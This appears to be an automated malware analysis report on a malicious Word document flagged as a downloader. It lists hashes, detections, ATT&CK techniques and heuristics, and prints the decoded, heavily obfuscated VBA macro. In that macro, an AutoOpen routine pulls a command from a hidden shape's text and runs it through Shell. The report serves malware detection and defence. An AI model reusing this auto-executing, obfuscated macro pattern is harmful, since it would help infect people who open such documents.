Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef20366effcd55f3…

MALICIOUS

Office (OLE)

144.6 KB Created: 2018-12-06 21:05:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 9b66587f9760a65172c25f02431ed632 SHA-1: 9dc44e6bd00d5ea7ea15a2dec07f2467069b5b71 SHA-256: ef20366effcd55f342dda0a1af98f8e77db174c05bb031a4945d45b5fe869082
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes an AutoOpen function and includes a critical 'Shell()' call, indicating an attempt to execute arbitrary commands. Heuristics also flag suspicious cmd.exe and PowerShell invocations. The macro appears to be obfuscated, but the presence of cmd.exe in the document body suggests it's used to launch further malicious activity.

Heuristics 10

  • ClamAV: Doc.Downloader.Generic-6775363-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6775363-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    hCndwi = Array(PrdORzDNI, djnTLFXlP, KzEGKrwpb, Interaction _
.Shell(spkVli, LJdSY), lkECPocrA)
   PfbDEhwBzBIjMccGYFcpP = 59935802 * CInt(240108314) + lzAjriZmSkpOVjfzRBkn + CLng(1063305 + Sgn(MnVUGojwWFvwSEhNJPcV) - 106937115 * 182349265) - OlracXOYzfFnMNWblDUOjT + Chr(OaRErULiPkBGjOOGaIh) * 326771826 / CStr(112061872) / (RVznnqRvNDuLczKT / 146851802 / mApCLGnMXzuGCV / Fix(BJwEEjUNUXzMXlO + Hex(GldLQXOKszbTUBGBYDbqOPRX) + 118170583 + CBool(260911905 + fNuPaIBoUZKsiumLEF)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub autoopen()
imZGF
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8128 bytes
SHA-256: 6c036c0611514af8774b2ef19085aaadd3a2731f37de47ae953443cb32363a0a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
189 of 228 identifiers look randomly generated (e.g. 'kGcrMJGKozXGJEOVBjzdwwon') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CZUEIrDozq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
imZGF
End Sub

Attribute VB_Name = "WrVoJYGUkRcbrv"
Function imZGF()
On Error Resume Next
   cHVkouwkTtmJSERmHFEWkrL = 112780268 * CInt(325952913) + RTastamdvmpoAcKnhtYX + CLng(51474570 + Sgn(wiGjCwHlvEnLddKaAMXoJiz) - 123760977 * 31606888) - MwJSsaUXUrlJXnWJqkB + Chr(zhcHsLATjTlniamKccMNqF) * 55215353 / CStr(125425865) / (qojSAoNRQcfUBajZBnBGzf / 327214990 / LjNYoztYJRBWQB / Fix(fXWOzHqaCfnpRHMrLriGU + Hex(ocSiGKkYJIAEViaQzuU) + 38329286 + CBool(74333231 + BIcRzZpfiuPFiuwPAjqiVip)))
   jjBsZbkpFQrMjJA = 231896161 * CInt(6225348) + DdISnfmTnQEZVBdaVnvoDd + CLng(61797897 + Sgn(YNibCpuJKwSQzOwVFG) - 259290350 * 130129230) - fvpjJnMoMkZUmuZBLRwVv + Chr(WjMaHrZjwqplsSost) * 10888114 / CStr(223274351) / (wNswNUWUtpowpRZGWi / 211040758 / OdnjiABHMSYznaPIrQ / Fix(nVFpHBrwbsiWKVMG + Hex(ZJRMSOHaQrKPBQOFWs) + 4910382 + CBool(59305201 + fhnEaPiwObbTviiwAUGwOr)))
   mfjAYMMAatbjAZmhzYBEA = 305436133 * CInt(238824508) + sCaKjQFJBjHNwBkdwDDwOtq + CLng(173829035 + Sgn(zbOizksvnHVmBUJo) - 119326581 * 219889998) - RZlwnYHwrnizMAAjp + Chr(iDzPSItOrujtIwLZIkLiaGq) * 258361667 / CStr(6188455) / (JIJmBkTzndQCGcC / 165226300 / MNziinmrQXKQXNMOKzlFF / Fix(waLIhJFdjcBZiZDdaUWukNI + Hex(PQEowcRTcSPXTZFdlmni) + 100512050 + CBool(331991534 + nKhZQiKIlRftRFRhHKhzL)))
   GuzwhYEqrIuBopizoZM = 83131832 * CInt(222322938) + hUjljRjrLoXThBKCIOP + CLng(312881433 + Sgn(DZiGCamjvRYtfMdPv) - 290718955 * 257147923) - zzFiVHdmmQwzmJi + Chr(FfdqwIPXzZCphmNWcoRFTAlu) * 325804399 / CStr(575257) / (iTaHVhhKQOwKrhiiwEoEzDbV / 329939080 / ZbFuitwLlEYShHzcwIfdZXl / Fix(pqJvwarFJcHGFWfDNf + Hex(iGdXjFXHTpUSBqjEsjBPLNTJ) + 29001270 + CBool(341197270 + XaccQubHPLScqZTXPoKGPVR)))
Set JBOtIwZZ = CZUEIrDozq.Shapes(RhRdOD + "kcaQzBlwMQRdw" + lRJdG).TextFrame
   ozDMZIiwHJIidKZJalE = 177704175 * CInt(161240519) + YHDGUDEwkzKYpTjbb + CLng(340647733 + Sgn(cWMHhzVWkpGAQBZZw) - 61368719 * 125346448) - frKYIXEUGczKEIvsLzVGzh + Chr(GiwuXPukSIMnlLnzJu) * 3410189 / CStr(103508440) / (qwwHFhNwnMozXEu / 63976294 / hFMrhBsUKhYAMLwRLQiC / Fix(RijnivXpNHtpfNvDQJuEnv + Hex(pwbApfMnMHrPWfEDGUfzaiKj) + 333504916 + CBool(21165402 + uHowzWirqCuiKBTji)))
   iXCJfTRHtUGYivadfdqjGGu = 288259041 * CInt(307528082) + KBloKDjkPEiRav + CLng(245749927 + Sgn(ddlPzUZiwBVpnYdLPd) - 56372149 * 103056269) - FJDozfVzNDvwlcQGfC + Chr(cDrJiuzrbTCwnVwXUiaBoD) * 230341493 / CStr(230863599) / (arBvMEjbSnSOAUuAoujKHHcn / 33838050 / XFACZUIKICvvOOTUUifJTNfA / Fix(ICYrSOOqQjiaQOwFqMrFsfSr + Hex(nuHvcKZACQRkSpojFwhotE) + 134560826 + CBool(222949161 + dBnuHdkjEfTHun)))
   zSOZEEjjlcOkUVwEB = 21828239 * CInt(177251945) + NQSpiLZzpbYJAQCOLv + CLng(107783247 + Sgn(lIIQmwvosupbYcBizZ) - 312062178 * 292930735) - krJDFkDThtFmFiFIBCfQ + Chr(HumzkYPTOmAXpBQwNhOrU) * 69042980 / CStr(3581762) / (oTuwazWPcvcwXGULoASHF / 99192481 / joJoVRYPzuCIRiTtR / Fix(lvuYUbHNDDUrtiZDN + Hex(QJAwDffCVwDjVHB) + 284697355 + CBool(131788548 + VHUijIOVvFBXiNRMcH)))
   jnIZwEkkzFczmBSMJEAIbji = 157265636 * CInt(307553598) + TiHItSqcMTpDuw + CLng(299691005 + Sgn(ivYQEXqUuCrnRzI) - 242912196 * 200054214) - kGcrMJGKozXGJEOVBjzdwwon + Chr(qaDKNLEYwMndrjOK) * 301920290 / CStr(226055209) / (wntnYwzZlAzoRpdViDzboTh / 70635102 / bsKzlTCOzqZzniOPlTYwYVn / Fix(NjGuGDdGivzDmZzj + Hex(ZUzDYvZlLCAJLUFFzlFNIHuM) + 130154690 + CBool(97405465 + jKcMTrBwBnKpkhJuAdwWbsw)))
   dMwuiCoNTUSLzRJMiAcXaSZr = 22623219 * CInt(156814433) + sfBjbrhaBNaqHVzR + CLng(333095226 + Sgn(LCQzSBVqXZKmFqKtwiR) - 243772437 * 285243264) - RqHwIJVCdBaSrVsvNz + Chr(kTHQPIkjOYOzNjrka) * 273229644 / CStr(129033559) / (LVVwILmwoAAVSWGzKasqYdG / 196136613 / CNlAkSGtFDOwKHDVl / Fix(NYtjrasazzdVhOriGwAwEiu + Hex(MTsBzToUmmtFVVWLHKT) + 58469621 + CBool(106231663 + VzHcAFUmnfdQTXhrafIIi)))
spkVli = JBOtIwZZ.ContainingRange + jpjSKVD + TpSamjJD + wUfzMtj + AajhoiL + QoMnYYXL + dLFojCrZ + HvzpcR + FjDMRnEN + nrQBim
   TsYlowHbwdiLjDhWiItOK = 340330830 * CInt(135493035) + QRFmMjrtUMEqEtXzY + CLng(167240119 + Sgn(olaUnHEzFcHaTYJ) - 142622982 * 151855541) - UPSllrUwrRpktplsjdpwRfH + Chr(mQMllSvXAFEJoDAjApQnI) * 134455163 / CStr(228214664) / (oasfjacpHjwViiNYV / 118622401 / olbEddGwbOUaShvwKaQra / Fix(OBEEfFRcrSqkujNWPBZd + Hex(anJjnjlCwEaIKW) + 169218979 + CBool(3545037 + wBfzWCkhnOjoKORzdnO)))
   GvlozKTunPtFMmuWwjviQfm = 27532574 * CInt(68176148) + XiAivsaspfSKTHRiRSSi + CLng(315126694 + Sgn(jtlnCWdbIhdQnluJUAi) - 134760365 * 319390026) - DlMnNiNUlfkzzHsHq + Chr(OOWljCTfnIwRzb) * 188599436 / CStr(127234473) / (AbOJvOovzfpmnQMJaFitRF / 63151426 / huFVUfJVfRsjcuSAiq / Fix(WitzrmHZVuaXvRucAISaR + Hex(UGWYfhfmiKbWmpouOi) + 82979822 + CBool(41935384 + aFtzOiSSrPPRAJmdSGatiM)))
   tzcjcVZrBiKEXGQC = 182438009 * CInt(185132772) + pwtzbZzFswQGwTfPL + CLng(34232849 + Sgn(jkaPdUPZRNpAcTCiOAAAJfQj) - 308195484 * 244493247) - OlsrFzcsiOhPiMAfrD + Chr(nntoQPKEoEUuUszAoZWjCzaY) * 103269994 / CStr(216057027) / (WoJzYdwzkVwbcusooKUNW / 217393985 / MGVTtoMVZjioQfEw / Fix(VvMfrzupJLlNuTOpc + Hex(tDJEJXAXrzFcIkNDrbUjVIbi) + 235337708 + CBool(188213336 + HiQPzoiLtHRlpfTGwjh)))
   CpWihdBoGiuzoFOUi = 324454627 * CInt(258480462) + FTVrFjJniSfkKzUqT + CLng(272661242 + Sgn(olHKPzqjWEOitZqNjTi) - 161483213 * 4877756) - OKozJopkYApXwfwIFs + Chr(AnjQnmLTmlWoQYUXw) * 147520629 / CStr(106811865) / (CrmjNpVaLObOmJAjiuAMwU / 18423362 / BMYzdHBmpCMJBDCwQkIXJICH / Fix(otCVDrhomiBRWwDMpYk + Hex(qfbsCwNMfptKRapOzQmKfVOZ) + 6285730 + CBool(219481071 + oELUjRKhISKTGdVJzkrAvHp)))
   OdtddfuBzquahwlSHYmG = 256877103 * CInt(32764438) + wSzDTikmOaYQQJwvbsmf + CLng(260689117 + Sgn(jtUrdwTAUrJAwKfcaXNDjzJj) - 132103366 * 63144259) - cKNAZozmEjcBlTOG + Chr(HQMmQzRPRkRjjoXTnqpG) * 285580027 / CStr(234297286) / (zYatwVbkRtdZDzYM / 71911987 / kIEiFVuFhwcYzpXEOOpGTtpz / Fix(nGOTWOiiKGbGPSFwsodHstoB + Hex(iKWEcrSFiROjmLjzupiwzwvk) + 55104970 + CBool(178294077 + MsHuSNUnEIaiPIB)))
Const LJdSY = 0
   TUncwNZputpilWowXRXOGok = 287063158 * CInt(333139107) + YNQOXEkGvjpNJPwdl + CLng(16701408 + Sgn(qdQiTbSzGnfjvdi) - 269061236 * 78525445) - jWlwfbHHJIHQdDijImH + Chr(wmEHdTQztjbamEEjWrzp) * 177633396 / CStr(81565901) / (KppKbBMVvhhctSdUL / 68696055 / OZjjiYwCMQpRDkVt / Fix(nJovhOjtFbLNtWlfQ + Hex(siILldwzEGQdsYYLhCVOjLAn) + 164873994 + CBool(320663334 + oTuDlnldPJcXLziJacbjnp)))
   GsHJzMhnEstVYMzOiof = 147450416 * CInt(332822497) + dwWoPKowGVaTqAkBsEl + CLng(70781130 + Sgn(KUTDNziTlOBdfO) - 72062978 * 259070792) - zXzHmYvEVzdjwbkn + Chr(ScDkBKJcUGZqLlZOjGO) * 73816153 / CStr(294670667) / (wYzrABnpmQpDwikbvMq / 200090584 / RVOKODSQUWcitjilK / Fix(HpfTJBIordEKBUOG + Hex(CkhlzUYStMVCCFqlBiom) + 327502279 + CBool(84911882 + CZMoMKUHUnBcAdYK)))
   sfjkDzjSfDKpbsLuEiCD = 250364719 * CInt(335308999) + OPzqfwBDMLkGTEUQcDC + CLng(108565747 + Sgn(cAGbbHuoviqtGSVGIEVdA) - 332060320 * 194273971) - lrqkRZAjirlPqODoGPQdtNN + Chr(zKUwjmhiWPqjRKWViHLPjF) * 103530898 / CStr(298688766) / (hXlhAwYiElHFBD / 315535025 / HsbYUXwtvvmCzFtv / Fix(wzPvwWQSENZPQjDPEZN + Hex(UjJarmEMWjzrMdDEjOKVKG) + 100826292 + CBool(66191230 + iiOimtfjGGRpoDKREv)))
hCndwi = Array(PrdORzDNI, djnTLFXlP, KzEGKrwpb, Interaction _
.Shell(spkVli, LJdSY), lkECPocrA)
   PfbDEhwBzBIjMccGYFcpP = 59935802 * CInt(240108314) + lzAjriZmSkpOVjfzRBkn + CLng(1063305 + Sgn(MnVUGojwWFvwSEhNJPcV) - 106937115 * 182349265) - OlracXOYzfFnMNWblDUOjT + Chr(OaRErULiPkBGjOOGaIh) * 326771826 / CStr(112061872) / (RVznnqRvNDuLczKT / 146851802 / mApCLGnMXzuGCV / Fix(BJwEEjUNUXzMXlO + Hex(GldLQXOKszbTUBGBYDbqOPRX) + 118170583 + CBool(260911905 + fNuPaIBoUZKsiumLEF)))
   amWDlVhhzpzVkGKjLRJrGT = 10206491 * CInt(313210345) + pLtRODVXsKnkRMHw + CLng(110125952 + Sgn(MTIrmqdLirNhHka) - 300273768 * 314814229) - oPlmdzrwWzuFCtpM + Chr(cBwZCnCUiJKCDJXQzKBVZp) * 68453483 / CStr(338813713) / (TiRdoTrvvwszklbiRzohuT / 275912148 / pFjoqPmqwjiJlrppTH / Fix(KfSMYZmIqVSvAou + Hex(jkDEfMBwBCSzZKzNmLfrWs) + 72187731 + CBool(99773776 + HwUjniUqDFEPDc)))
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.